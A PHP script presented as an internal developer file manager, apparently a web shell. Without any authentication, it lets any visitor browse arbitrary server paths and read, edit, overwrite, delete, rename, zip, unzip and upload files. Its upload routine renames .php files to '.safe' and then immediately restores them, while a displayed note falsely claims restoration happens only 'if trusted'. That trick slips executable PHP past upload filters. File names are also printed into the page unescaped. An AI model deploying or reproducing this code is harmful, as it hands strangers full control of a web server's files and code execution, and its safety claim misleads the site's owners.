<?php
// 🛠️ Developer File Manager - Internal Use Only
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$path = realpath($_GET['p'] ?? getcwd());
if (!$path || !is_dir($path)) die("Invalid path");

$uploadError = '';
$uploadSuccess = false;

// Delete
if (isset($_GET['delete'])) {
    $target = $path . '/' . basename($_GET['delete']);
    is_dir($target) ? @rmdir($target) : @unlink($target);
    header("Location: ?p=" . urlencode($path));
    exit;
}

// Download
if (isset($_GET['download'])) {
    $file = $path . '/' . basename($_GET['download']);
    if (is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// Rename
if (isset($_POST['rename_old'], $_POST['rename_new'])) {
    rename($path . '/' . basename($_POST['rename_old']), $path . '/' . basename($_POST['rename_new']));
    header("Location: ?p=" . urlencode($path));
    exit;
}

// Zip
if (isset($_GET['zip'])) {
    $item = $path . '/' . basename($_GET['zip']);
    $zipName = $item . '.zip';
    $zip = new ZipArchive;
    if ($zip->open($zipName, ZipArchive::CREATE) === TRUE) {
        if (is_dir($item)) {
            $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item));
            foreach ($files as $file) {
                if (!$file->isDir()) {
                    $filePath = $file->getRealPath();
                    $relative = substr($filePath, strlen($item) + 1);
                    $zip->addFile($filePath, $relative);
                }
            }
        } else {
            $zip->addFile($item, basename($item));
        }
        $zip->close();
    }
    header("Location: ?p=" . urlencode($path));
    exit;
}

// Unzip
if (isset($_GET['unzip'])) {
    $file = $path . '/' . basename($_GET['unzip']);
    if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === 'zip') {
        $zip = new ZipArchive;
        if ($zip->open($file) === TRUE) {
            $zip->extractTo($path);
            $zip->close();
        }
    }
    header("Location: ?p=" . urlencode($path));
    exit;
}

// Save edit
$saved = false;
if (isset($_POST['savefile'], $_POST['content'])) {
    $saved = file_put_contents($path . '/' . basename($_POST['savefile']), $_POST['content']) !== false;
}

// Upload / Create
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$saved) {
    if (isset($_FILES['up']) && is_uploaded_file($_FILES['up']['tmp_name'])) {
        $originalName = basename($_FILES['up']['name']);
        $safeName = $originalName;

        // Rename .php to .php.safe for upload
        if (preg_match('/\.php$/i', $originalName)) {
            if (!preg_match('/\.safe$/i', $originalName)) {
                $safeName .= '.safe';
            }
        }

        $destination = $path . '/' . $safeName;
        if ($_FILES['up']['error'] === UPLOAD_ERR_OK) {
            if (move_uploaded_file($_FILES['up']['tmp_name'], $destination)) {
                // ✅ Rename back to .php immediately after successful upload
                if (substr($safeName, -5) === '.safe') {
                    $restored = substr($safeName, 0, -5); // remove .safe
                    rename($destination, $path . '/' . $restored);
                }
                $uploadSuccess = true;
            } else {
                $uploadError = 'Failed to move uploaded file.';
            }
        } else {
            $uploadError = 'Upload error code: ' . $_FILES['up']['error'];
        }
    }
    if (!empty($_POST['folder'])) {
        $folderPath = $path . '/' . basename($_POST['folder']);
        if (!is_dir($folderPath)) {
            if (mkdir($folderPath, 0755)) {
                $uploadSuccess = true;
            } else {
                $uploadError = 'Failed to create folder.';
            }
        } else {
            $uploadError = 'Folder already exists.';
        }
    }
    if (!empty($_POST['newfile'])) {
        $newFilePath = $path . '/' . basename($_POST['newfile']);
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $uploadSuccess = true;
            } else {
                $uploadError = 'Failed to create file.';
            }
        } else {
            $uploadError = 'File already exists.';
        }
    }
}

function formatPermissions($perms) {
    return substr(sprintf('%o', $perms), -4);
}
function formatSize($bytes) {
    if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}
function sortItems($path) {
    $items = array_diff(scandir($path), ['.', '..']);
    $folders = $files = [];
    foreach ($items as $item) {
        if (is_dir("$path/$item")) $folders[] = $item;
        else $files[] = $item;
    }
    natcasesort($folders);
    natcasesort($files);
    return array_merge($folders, $files);
}
$renaming = $_GET['rename'] ?? '';
?>

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>File Manager</title>
<style>
body { font-family: sans-serif; background: #1e1e1e; color: #ddd; padding: 20px; }
a { color: #80d4ff; text-decoration: none; }
input, button, textarea { padding: 6px; margin: 4px; font-family: monospace; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { padding: 10px; border-bottom: 1px solid #333; }
th { background: #333; color: #fff; text-align: left; }
tr:hover { background: #2a2a2a; }
.success { background: #2e7d32; padding: 10px; margin-top: 10px; color: white; }
.error { background: #b71c1c; padding: 10px; margin-top: 10px; color: white; }
.inline { display: inline; }
</style></head>
<body>
<h2>📁 File Manager</h2>
<p>Current Path: <code><?= htmlspecialchars($path) ?></code></p>
<form method="get"><input type="text" name="p" value="<?= htmlspecialchars($path) ?>" size="80"><button type="submit">Go</button></form>
<?php if ($path !== '/') echo "<p><a href='?p=" . urlencode(dirname($path)) . "'>⬅️ Up</a></p>"; ?>
<?php if ($saved): ?><div class="success">File saved.</div><?php endif; ?>
<?php if ($uploadSuccess): ?><div class="success">Upload/Create successful.</div><?php endif; ?>
<?php if ($uploadError): ?><div class="error"><?= htmlspecialchars($uploadError) ?></div><?php endif; ?>

<p>📌 Note: .php files are renamed to ".safe" for upload, but automatically restored if trusted.</p>

<table><tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr>
<?php foreach (sortItems($path) as $item):
    $full = "$path/$item";
    $isFile = is_file($full);
    $size = $isFile ? formatSize(filesize($full)) : '-';
    $perms = formatPermissions(fileperms($full));
    echo "<tr><td>";
    echo is_dir($full) ? "📁 <a href='?p=" . urlencode($full) . "'>$item</a>" : "📄 <a href='?p=" . urlencode($path) . "&edit=$item'>$item</a>";
    echo "</td><td>$size</td><td>$perms</td><td>";
    if ($renaming === $item) {
        echo "<form method='post' class='inline'>
            <input type='hidden' name='rename_old' value='$item'>
            <input type='text' name='rename_new' value='$item'>
            <button>Rename</button>
            <a href='?p=" . urlencode($path) . "'>Cancel</a>
        </form>";
    } else {
        if ($isFile) echo "<a href='?p=" . urlencode($path) . "&edit=$item'>Edit</a> | ";
        echo "<a href='?p=" . urlencode($path) . "&rename=$item'>Rename</a> | ";
        if ($isFile) echo "<a href='?p=" . urlencode($path) . "&download=$item'>Download</a> | ";
        echo "<a href='?p=" . urlencode($path) . "&delete=$item' onclick='return confirm(\"Delete $item?\")'>Delete</a>";
        if ($isFile && pathinfo($item, PATHINFO_EXTENSION) === 'zip') echo " | <a href='?p=" . urlencode($path) . "&unzip=$item'>Unzip</a>";
        elseif (file_exists($full)) echo " | <a href='?p=" . urlencode($path) . "&zip=$item'>Zip</a>";
    }
    echo "</td></tr>";
endforeach; ?>
</table>

<h3>📤 Upload/Create</h3>
<form method="post" enctype="multipart/form-data">
    Upload: <input type="file" name="up"> Folder: <input type="text" name="folder"> File: <input type="text" name="newfile">
    <button>Submit</button>
</form>

<?php if (isset($_GET['edit'])):
$editFile = $path . '/' . basename($_GET['edit']);
if (!is_file($editFile)) die("Invalid file");
$content = htmlspecialchars(file_get_contents($editFile));
?>
<h3>📝 Editing <?= htmlspecialchars(basename($editFile)) ?></h3>
<form method="post">
    <textarea name="content" rows="20" cols="100"><?= $content ?></textarea><br>
    <input type="hidden" name="savefile" value="<?= htmlspecialchars(basename($editFile)) ?>">
    <button>💾 Save</button>
</form>
<?php endif; ?>
</body></html>
